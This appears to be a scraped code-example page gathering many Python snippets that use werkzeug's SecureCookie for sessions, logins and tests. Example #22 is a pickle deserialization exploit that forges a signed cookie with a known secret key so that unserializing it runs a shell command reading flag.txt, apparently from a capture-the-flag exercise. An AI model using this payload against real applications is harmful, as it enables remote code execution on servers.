示例#1
0
def test_basic_support():
    c = SecureCookie(secret_key=b'foo')
    assert c.new
    assert not c.modified
    assert not c.should_save
    c['x'] = 42
    assert c.modified
    assert c.should_save
    s = c.serialize()

    c2 = SecureCookie.unserialize(s, b'foo')
    assert c is not c2
    assert not c2.new
    assert not c2.modified
    assert not c2.should_save
    assert c2 == c

    c3 = SecureCookie.unserialize(s, b'wrong foo')
    assert not c3.modified
    assert not c3.new
    assert c3 == {}

    c4 = SecureCookie({'x': 42}, 'foo')
    c4_serialized = c4.serialize()
    assert SecureCookie.unserialize(c4_serialized, 'foo') == c4
示例#2
0
def test_basic_support():
    c = SecureCookie(secret_key=b"foo")
    assert c.new
    assert not c.modified
    assert not c.should_save
    c["x"] = 42
    assert c.modified
    assert c.should_save
    s = c.serialize()

    c2 = SecureCookie.unserialize(s, b"foo")
    assert c is not c2
    assert not c2.new
    assert not c2.modified
    assert not c2.should_save
    assert c2 == c

    c3 = SecureCookie.unserialize(s, b"wrong foo")
    assert not c3.modified
    assert not c3.new
    assert c3 == {}

    c4 = SecureCookie({"x": 42}, "foo")
    c4_serialized = c4.serialize()
    assert SecureCookie.unserialize(c4_serialized, "foo") == c4
示例#3
0
 def set_cookie(self,
                response,
                name,
                data,
                path=None,
                expires=None,
                secret_key=None,
                max_age=None,
                secure=False,
                httponly=True,
                force=True):
     """store data under the named cookie as a securecookie in the response"""
     if secret_key is None:
         secret_key = self.config.get('secret_key', None)
     cookie = SecureCookie(data, secret_key=secret_key)
     path = path or self.config.get('session_cookie_path') or \
            self.config.get('application_root') or '/'
     cookie.save_cookie(response,
                        key=name,
                        expires=expires,
                        max_age=max_age,
                        path=path,
                        domain=self.config.session_cookie_domain,
                        secure=secure,
                        httponly=httponly,
                        force=force)
示例#4
0
def saveOAuthToken(next, token, secret, max_age=3000):
    secretKey = current_app.config['SECRET_KEY'].encode('utf-8')
    data = SecureCookie({"token": token, "secret": secret}, secretKey)
    expires = datetime.utcnow() + timedelta(seconds=max_age)
    resp = make_response(next)
    resp.set_cookie('zapfauth_token', data.serialize(), expires=expires)
    return resp
示例#5
0
def get_cookie_obj(cookie):
    cookie_data = request.cookies.get(cookie, None)
    if cookie_data is None:
        cookie_obj = SecureCookie(secret_key=app.config["SECRET_KEY"])
    else:
        cookie_obj = SecureCookie.unserialize(cookie_data,
                                              app.config["SECRET_KEY"])
    return cookie_obj
示例#6
0
def client_session(req):
    data = request.cookies.get('ruanbo')
    if not data:
        return SecureCookie({
            "foo": 42,
            "baz": (1, 2, 3)
        },
                            secret_key=SECRET_KEY)
    return SecureCookie.unserialize(data, SECRET_KEY)
示例#7
0
def get_from_cookie(cookie, key):
    cookie_data = request.cookies.get(cookie, None)
    if cookie_data is None:
        cookie_obj = SecureCookie(secret_key=app.config["SECRET_KEY"])
    else:
        cookie_obj = SecureCookie.unserialize(cookie_data,
                                              app.config["SECRET_KEY"])
    print("Getting cookie data: ", dict(cookie_obj))
    return cookie_obj.get(key)
示例#8
0
def set_gaema_user(service, user):
    gaema_user_key = GAEMA_USER_KEY_FORMAT % service
    if hasattr(settings,
               "GAEMA_STORAGE") and settings.GAEMA_STORAGE == "cookie":
        secure_cookie = SecureCookie(user, secret_key=settings.SECRET_KEY)
        user_data = secure_cookie.serialize()
        set_cookie(gaema_user_key, user_data)
    else:
        from kay.sessions import renew_session
        renew_session(local.request)
        local.request.session[gaema_user_key] = user
        local.request.session.modified = True
示例#9
0
    def save_session(self, session, response):
        # 这个函数将在构造好了response后调用,此函数逻辑是如何session有内容,就将其
        # 保存在数据库,然后构建一个新的Securecookie,在传入sid的值,然后保存在response
        # 中
        if session is not None:
            if session.should_save:
                self.session_store.save(session)

            secure_cookie = SecureCookie({}, secret_key=self.secret_key)
            secure_cookie['sid'] = session.sid
            # 这里必须要有一次额外的赋值,否则secure_cookie的should_save为False
            secure_cookie.save_cookie(response, self.session_cookie_name)
示例#10
0
def set_to_cookie(req_response, cookie, key, value):
    cookie_data = request.cookies.get(cookie, None)
    if cookie_data is None:
        cookie_obj = SecureCookie(secret_key=app.config["SECRET_KEY"])
    else:
        cookie_obj = SecureCookie.unserialize(cookie_data,
                                              app.config["SECRET_KEY"])
    cookie_obj[key] = value
    all_cookies = session.get(ALL_COOKIES_KEY, [])
    if cookie not in all_cookies:
        all_cookies.append(cookie)
    session[ALL_COOKIES_KEY] = all_cookies
    req_response.set_cookie(cookie, cookie_obj.serialize())
示例#11
0
    def create_secure_cookie(self, data=None):
        """Returns a new secure cookie.

        This cookie must be saved using a response object at the end of a
        request. To get a cookie that is saved automatically, use
        :meth:`SessionStore.get_secure_cookie`.

        :param data:
            A dictionary to be loaded into the secure cookie.
        :return:
            A ``werkzeug.contrib.SecureCookie`` instance.
        """
        if data is not None and not isinstance(data, dict):
            raise ValueError('Secure cookie data must be a dict.')

        return SecureCookie(data=data, secret_key=self.config['secret_key'])
示例#12
0
 def post_process(self, environ, headers):
     user = User.get_current()
     if not user:
         cookies = http.parse_cookie(environ)
         if self.name in cookies:
             raw = http.dump_cookie(self.name, '', expires=1)
             headers.append(('Set-Cookie', raw))
         return
     cookie = SecureCookie(
         {
             'uid': user.id,
             'session_token': user.get_session_token(),
         }, self.secret)
     raw = http.dump_cookie(self.name,
                            cookie.serialize(),
                            expires=self.expires,
                            max_age=self.max_age)
     headers.append(('Set-Cookie', raw))
示例#13
0
    def test_basic_support(self):
        c = SecureCookie(secret_key=b'foo')
        assert c.new
        assert not c.modified
        assert not c.should_save
        c['x'] = 42
        assert c.modified
        assert c.should_save
        s = c.serialize()

        c2 = SecureCookie.unserialize(s, b'foo')
        assert c is not c2
        assert not c2.new
        assert not c2.modified
        assert not c2.should_save
        self.assert_equal(c2, c)

        c3 = SecureCookie.unserialize(s, b'wrong foo')
        assert not c3.modified
        assert not c3.new
        self.assert_equal(c3, {})
示例#14
0
    def test_basic_support(self):
        c = SecureCookie(secret_key='foo')
        assert c.new
        assert not c.modified
        assert not c.should_save
        c['x'] = 42
        assert c.modified
        assert c.should_save
        s = c.serialize()

        c2 = SecureCookie.unserialize(s, 'foo')
        assert c is not c2
        assert not c2.new
        assert not c2.modified
        assert not c2.should_save
        assert c2 == c

        c3 = SecureCookie.unserialize(s, 'wrong foo')
        assert not c3.modified
        assert not c3.new
        assert c3 == {}
示例#15
0
def login():
    username = request.values.get('username', '')
    password = request.values.get('password', '')

    ret_data = {}
    is_login = db.check_user(username, password)
    if is_login:
        ret_data['status'] = 'ok'
    else:
        ret_data['status'] = 'error'
        ret_data['message'] = 'Username or password is wrong!'

    resp = Response(json.dumps(ret_data))

    if is_login:
        # New and save `uid` to cookie
        cookie = SecureCookie(secret_key=app.secret_key)
        cookie['uid'] = username
        cookie['is_guest'] = False
        cookie.save_cookie(resp, key='auth', max_age=USER_COOKIE_AGE)

    return resp
示例#16
0
文件: run.py 项目: yweber/lodel2
def save_cookie(response, token):
    response.set_cookie(
        COOKIE_SESSION_ID,
        SecureCookie({
            'token': token
        }, COOKIE_SECRET_KEY).serialize())
 def session(self):
     data = self.cookies.get(COOKIE_NAME)
     if not data:
         return SecureCookie(secret_key=SECRET_KEY)
     return SecureCookie.unserialize(data, SECRET_KEY)
示例#18
0
def _set_flash_msg(request, message):
    set_cookie('ls_message',
               SecureCookie({
                   'm': message
               }, settings.SECRET_KEY).serialize())
示例#19
0
 def __init__(self, secret, data):
     """Create a new SecureCookieSession
     """
     self.cookie = SecureCookie.unserialize(
         data, secret) if data else SecureCookie(secret_key=secret)
示例#20
0
def init():
    ''' For guest user '''
    domain = request.args.get('domain', CONFIG['domain'])
    title = request.args.get('title', CONFIG['title'])
    theme = request.args.get('theme', CONFIG['theme'])
    local = request.args.get('local', CONFIG['local'])

    is_login = ''
    user = '******'
    if g.is_login:
        is_login = '******'
        record = db.load_visitor(g.uid)
        record['nick'] = '%s(%s)' % (record['nick'], record['location'])
        user = {
            'id': g.uid,
            'nick': record['nick'],
            'show': 'available',
            'status': ''
        }
        user = json.dumps(user)

    path = 'http://%s/' % CONFIG['domain']

    js = u'''var _IMC = {
        production_name: 'service',
        version: '%(version)s',
        domain: '%(domain)s',
        path: '%(path)s',
        is_login: '******',
        user: %(user)s,
        setting:{
            play_sound: true,
            minimize_layout: true,
            buddy_sticky: true
        },
        disable_chatlink: '',
        title: '%(title)s',
        theme: '%(theme)s',
        local: '%(local)s',
        jsonp: '1',
        min: window.location.href.indexOf("webim_debug") != -1 ? "" : ".min"
    };
    
    _IMC.script = window.webim ? '' : ('<link href="' + _IMC.path + 'static/webim.' + _IMC.production_name + _IMC.min + '.css?' + _IMC.version + '" media="all" type="text/css" rel="stylesheet"/><link href="' + _IMC.path + 'static/themes/' + _IMC.theme + '/jquery.ui.theme.css?' + _IMC.version + '" media="all" type="text/css" rel="stylesheet"/><script src="' + _IMC.path + 'static/webim.' + _IMC.production_name + _IMC.min + '.js?' + _IMC.version + '" type="text/javascript"></script><script src="' + _IMC.path + 'static/i18n/webim-' + _IMC.local + '.js?' + _IMC.version + '" type="text/javascript"></script>');
    _IMC.script += '<script src="' + _IMC.path + 'static/webim.js?' + _IMC.version + '" type="text/javascript"></script>';
    document.write( _IMC.script );''' % {
        'version': CONFIG['version'],
        'domain': domain,
        'path': path,
        'is_login': is_login,
        'user': user,
        'title': title,
        'theme': theme,
        'local': local,
    }
    resp = Response(js, content_type='text/javascript')

    # Save uid to cookie
    if not g.is_login:
        print 'Save uid to cookie'
        cookie = SecureCookie(secret_key=app.secret_key)
        cookie['uid'] = g.uid
        cookie['is_guest'] = True
        cookie.save_cookie(resp, key='auth', max_age=VISITOR_COOKIE_AGE)

    return resp
示例#21
0
def test_pickle_deprecated():
    with pytest.warns(UserWarning):
        SecureCookie({"foo": "bar"}, "secret").serialize()
示例#22
0
import os
import subprocess

from werkzeug.contrib.securecookie import SecureCookie

class RCE(object):
    def __reduce__(self):
        return (subprocess.check_output, (['cat','flag.txt'],))

SECRET_KEY = 'superdupersecretflagonkey'

payload = {'name': RCE() , 'username': '******'}

x = SecureCookie(payload, SECRET_KEY)

value = x.serialize()
print(value)
示例#23
0
def secure_encode(adict, secretkey):
    return SecureCookie(data=adict, secretkey=secretkey, new=True).serialize()
示例#24
0
 def encodeCookie(_sessionId):
     scookie = SecureCookie(
         {sessionOptions['session_cookie_id']: _sessionId},
         sessionOptions['session_secret_key'])
     return serializer.dumps(scookie)
示例#25
0
文件: auth.py 项目: sbargy/metareddit
 def session(self):
     data = self.cookies.get(login_cookie)
     if not data:
         return SecureCookie(secret_key=cookie_key)
     return SecureCookie.unserialize(data, cookie_key)